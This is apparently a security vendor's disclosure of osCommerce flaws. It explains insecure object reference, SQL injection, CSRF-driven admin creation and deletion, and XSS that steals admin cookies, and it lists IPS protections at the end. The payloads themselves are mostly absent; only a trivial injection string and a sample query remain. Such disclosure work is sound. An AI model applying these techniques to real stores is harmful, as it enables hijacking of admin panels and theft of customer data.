Check Point researchers Avi Gimpel, Liad Mizrachi and Oded Vanunu recently discovered critical vulnerabilities in the osCommerce platform.
These vulnerabilities can lead to a full system compromise, with an outside agent gaining control over the osCommerce administration panel and access to the data of the platform stores’ members and customers. These vulnerabilities affect over 260,000 online shops.
osCommerce provides the tools to create your very own online store to sell products and services to customers worldwide. osCommerce manages a thriving community of store owners, developers, and service providers who interact with and assist each other at every stage. For example, osCommerce worked in close collaboration with PayPal to provide updated PayPal payment modules and bundled all PayPal modules.
Check Point researchers often discover and find ways to protect against security vulnerabilities before malicious actors are able to exploit them. Liad Mizrachi, Security Expert at Check Point Software Technologies, said, “Check Point is committed to ensuring the security of all organizations. As such, we are obligated to raise awareness of the vulnerabilities that can affect the security of consumers and their businesses.”
The following attack vectors were discovered during our research:
- Insecure Object Reference
- SQL INJECTION
- Stored XSS
- Reflected XSS
Insecure Object Reference
- An attacker who would normally be blocked from accessing the Admin Cpanel and performing other malicious actions can gain entry by editing the DB column values.
- The vulnerable file: admin\modules\modules.php
The current Insecure Object Reference vulnerability we found is based on exploiting the configuration table (figure 1). This table is responsible for many critical issues and actions:
For each configuration_key there is a corresponding configuration_value.
To understand the actions of the keys system (Open Source), look at the configuration_description of the specified key.
Our exploit uses the Modules options, the place where the vulnerable IOR request will be sent.
The code behind the Modules option is located at: admin\modules\modules.php
Now let’s take a look at the osCommerce Admin panel:
Whenever a privileged user submits changes into the existing osCommerce models, the server will save and store the changed values in the configuration DB table (Figure 1).
The request sent as result of editing the models’ fields:
To facilitate the process, let’s decode the post data request to make it more readable:
We can easily find that
are both values in the configuration_key column. The values True and vvv are in the configuration_value column. The post request (Figure 3) was transferred with the URL parameter action=”save”.
Now let’s dive deeper into the server side code, to see what’s behind the post request (Figure 3):
Analyzing the code shows that osCommerce builds a list of ( $key and $value) with every loop, and executes an SQL query using the submitted list $key and $value.
This is the first loop DB query sent during the loop process:
“update configuration set configuration_value = True where configuration_key = MODULE_SOCIAL_BOOKMARKS_EMAIL_STATUS”
By changing the keys
the server will obtain the given values under a different key.
To examine the insecure object reference, here is an example of the same request, but with a different key:
The server will update the configuration table with the value “AVIG” where configuration_key column = “STORE_OWNER”
The above vulnerable post request (Figure 5) does not use any CSRF token protection. This allows the attacker to create a malicious html form which will submit the vulnerable post request + the payload execution to the osCommerce server via the admin user. The request will be sent when the admin is visiting the malicious page. (The osCommerce admin should be authenticated to the admin panel during the attack execution).
As we mentioned previously, the configuration table is responsible for all critical system data and processes. Rewriting the values for specific table keys will block all admin cpanel access. The only way to regain access to the cpanel is by restoring the DB and or specific key values (if they are known).
- The current vulnerability allows the attacker to access and update the osCommerce DB.
- The vulnerable file: admin\modules\modules.php
- The same modules.php file is vulnerable to SQLI.
- osCommerce does not use any sanitation over the user input and gets the user data using $HTTP_POST_VARS [‘configuration’] without calling the regular osCommerce sanitation function.
osCommerce sanitation function for SQL query:
Testing the vector over the osCommerce Cpanel responses with SQL error:
Submitting the request with a valid injection payload [‘and ‘1’=’1] results in redirection and the predicted result:
Using the current SQLI, the attacker can access and update the osCommerce DB.
When we attempted to exploit the DB using this vulnerability, we had a problem: the vulnerable SQL file (modules.php) is blocked against simple users and open only to users with Admin privileges. What could we do to get around this?
(1)Retrieving the DB tables –
If the server is opened with CORS configuration to allow foreign domains requests, the attacker can create a malicious web page in his domain to send an Ajax request with the above vulnerable post request (using the required payload). The attack will be executed via the osCommerce admin when he visits the malicious page. The attacker will get the osCommerce server response via the Ajax object.
(The Admin user should be authenticated to the osCommerce at the time of the exploit execution).
(2) One-Time Injection
We have established that there is no CSRF token protection. This allows the attacker to create a malicious html form which will submit the vulnerable post request + the payload execution to the osCommerce server via the admin user. The attacker can use this vulnerability as a one-time injection to modify or destroy the DB table columns, without being able to retrieve the data (as was done in the previous option).
(3)Using the Stored XSS (see Stored XSS).
Create or delete new administrator user using CSRF attack.-
When we analyzed the New Administrator function, we discovered that requests for adding or deleting a new user in the admin cpanel are handled without any use of CSRF token protection. This can lead to serious security issues.
Delete Admin user using GET request:
The admin ID parameter is an auto incremental number to recognize an administrator user in the administrator DB table.
Create or delete a new administrator via crafted URL.
Injecting HTML/JS code that will run persistently each time the user visits the web site.
XSS using POST request
Injecting persistence HTML/JS code into the machines of users visiting the site.
Injecting HTML/JS code when the user follows a crafted URL in the context of visiting the vulnerable oScommerce site.
XSS using GET request
The above XSS POC will transfer the user to the malicious site, and sends the Admin users’ cookie concatenated with the site’s URI:
Injecting HTML/JS code into the user browser via the crafted URL.
How can I protect against the vulnerability?
- Check Point IPS currently protects against exploitation attempts of these vulnerabilities:
- Protections names:
- osCommerce Cross-Site Request Forgery Administrator Deletion
- osCommerce Mail Cross-Site Scripting Attempt
- osCommerce Configuration SQL Injection Attempt
- osCommerce Cross-Site Request Forgery Administrator Creation
- osCommerce Configuration Cross-Site Scripting
- Protections names:
- Vendor Fix